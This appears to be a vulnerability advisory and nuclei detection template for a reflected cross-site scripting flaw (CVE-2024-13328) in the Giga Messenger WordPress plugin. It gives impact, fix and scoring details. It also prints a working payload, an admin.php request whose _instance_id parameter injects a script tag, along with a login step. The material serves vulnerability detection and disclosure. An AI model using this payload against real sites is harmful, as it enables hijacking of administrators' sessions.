Giga Messenger WordPress - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

Giga Messenger WordPress plugin <= 2.3.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link or request.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=giga&_instance_id=1"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")

Run it with nuclei: nuclei -id CVE-2024-13328 -u <target>

The full check

id: CVE-2024-13328

info:
  name: Giga Messenger WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Giga Messenger WordPress plugin <= 2.3.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link or request.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/543a209b-c43c-46fc-8369-edb3b7e0ca98/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13328
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13328
    cwe-id: CWE-79
    epss-score: 0.00584
    epss-percentile: 0.48233
    cpe: cpe:2.3:a:tanng:giga_messenger:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tanng
    product: giga_messenger
  tags: cve,cve2024,wordpress,wp-plugin,xss,giga-messenger

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=giga&_instance_id=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from